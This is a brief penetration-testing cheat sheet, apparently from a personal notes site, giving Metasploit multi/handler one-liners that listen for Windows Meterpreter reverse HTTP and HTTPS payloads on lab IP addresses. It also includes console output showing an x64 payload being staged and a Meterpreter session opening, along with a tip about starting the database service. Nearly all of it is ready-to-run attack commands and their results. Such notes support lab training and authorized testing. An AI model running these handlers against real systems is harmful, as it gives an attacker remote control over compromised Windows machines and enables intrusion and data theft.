Metasploit

Multi Handler One Liner. Change the LHOST, LPORT, and Payload as necessary.

sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_http; set LHOST 192.168.49.86; set LPORT 8080; exploit"
sudo msfconsole -q -x "use exploit/multi/handler;\
set PAYLOAD windows/x64/meterpreter/reverse_https;\
set LHOST 192.168.49.156; set LPORT 443; exploit"

In order to fix the UUID error below run sudo systemctl start postresql

[*] Started HTTPS reverse handler on https://192.168.49.156:443
[!] https://192.168.49.156:443 handling request from 192.168.156.12; (UUID: fphy32dl) Without a database connected that payload UUID tracking will not work!
[*] https://192.168.49.156:443 handling request from 192.168.156.12; (UUID: fphy32dl) Staging x64 payload (201308 bytes) ...
[!] https://192.168.49.156:443 handling request from 192.168.156.12; (UUID: fphy32dl) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.49.156:443 -> 127.0.0.1) at 2022-04-15 13:29:04 -0400

Last updated

Was this helpful?